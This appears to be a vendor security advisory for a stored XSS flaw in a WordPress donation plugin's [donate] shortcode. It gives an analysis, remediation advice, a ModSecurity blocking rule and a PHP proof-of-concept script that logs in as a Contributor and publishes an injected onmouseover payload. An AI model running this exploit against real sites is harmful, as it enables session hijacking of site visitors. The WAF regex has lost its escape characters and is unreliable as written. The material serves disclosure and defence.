Atomic Edge analysis of CVE-2026-4072 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WordPress PayPal Donation plugin, versions up to and including 1.01. The vulnerability resides in the plugin’s shortcode handler, which fails to properly sanitize user-supplied shortcode attributes before outputting them into HTML. Attackers with at least Contributor-level access can inject malicious scripts into posts or pages.
Atomic Edge research identifies the root cause as improper neutralization of input during web page generation (CWE-79). The vulnerability description confirms the `wordpress_paypal_donation_create()` function uses `extract(shortcode_atts(…))` to process shortcode attributes. The function then directly interpolates these extracted values into HTML output within single-quoted attribute contexts without escaping. This pattern is a classic WordPress shortcode XSS vulnerability. The analysis infers the exact code structure from the described `extract()` usage and attribute list, but cannot confirm the specific line numbers without source code.
Exploitation requires an authenticated user with the Contributor role or higher. The attacker creates or edits a post or page and inserts the plugin’s `[donate]` shortcode. They inject a malicious payload into one of the vulnerable shortcode attributes, such as `amount`, `email`, `title`, `return_url`, `cancel_url`, `ccode`, or `image`. A typical payload would close the single-quoted attribute and inject a script event handler, for example: `amount=’ onmouseover=’alert(document.domain)`. When an administrator or any user views the compromised page, the injected script executes in their browser session.
Remediation requires proper output escaping. The plugin should use WordPress escaping functions like `esc_attr()` or `esc_url()` on all user-controlled shortcode attribute values before they are printed into HTML attributes. The use of `extract()` should be avoided or replaced with explicit variable assignment to improve code clarity and security. Input validation should also be applied, but output escaping is the primary defense for this context.
The impact of successful exploitation is client-side code execution in the context of a victim’s browser session. An attacker can steal session cookies, perform actions on behalf of the victim, deface the site, or redirect users to malicious sites. The CVSS score of 6.4 reflects a medium severity rating due to the authenticated requirement and the lack of direct integrity or availability impact on the server.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4072 (metadata-based)
# This rule targets the stored XSS injection via the plugin's shortcode attributes.
# It blocks POST requests to the WordPress post editor that contain the malicious shortcode pattern.
SecRule REQUEST_URI "@rx /wp-admin/(post.php|post-new.php)$"
"id:4072001,phase:2,deny,status:403,chain,msg:'CVE-2026-4072: WordPress PayPal Donation Plugin Stored XSS via donate shortcode',severity:'CRITICAL',tag:'CVE-2026-4072',tag:'wordpress',tag:'plugin',tag:'xss'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:content "@rx [donate[^]]*?(amount|email|title|return_url|cancel_url|ccode|image)s*=s*['"][^'"]*?b(onw+|style|href)s*[=:]"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4072 - WordPress PayPal Donation <= 1.01 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'amount' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-4072.
* This script simulates an authenticated Contributor user injecting a stored XSS payload
* via the 'amount' attribute of the plugin's [donate] shortcode.
* Assumptions:
* 1. The target site has the vulnerable plugin (<=1.01) installed.
* 2. Valid Contributor-level credentials are available.
* 3. The attacker can create or edit a post.
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Payload to inject into the 'amount' shortcode attribute.
// This closes the single-quoted attribute and adds an onmouseover event handler.
$xss_payload = "' onmouseover='alert("XSS: "+document.domain)";
// The full shortcode to be inserted into a post.
$shortcode = "[donate amount='{$xss_payload}' email='donation@example.com']";
// Initialize cURL session for WordPress login.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check for login success by looking for a dashboard redirect or specific string.
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Create a new post with the malicious shortcode.
$post_data = [
'post_title' => 'Test Donation Page',
'post_content' => $shortcode,
'post_status' => 'publish',
'action' => 'editpost'
];
// The exact endpoint for creating/updating a post.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
// Extract the post ID from the response (simplified for PoC).
if (preg_match('/post=([0-9]+)/', $post_response, $matches)) {
$post_id = $matches[1];
echo "PoC likely successful. Post created with ID: {$post_id}n";
echo "Visit: {$target_url}/?p={$post_id} and hover over the donation button to trigger XSS.n";
} else {
echo "Post creation may have failed. Check permissions or site structure.n";
}
curl_close($ch);
?>
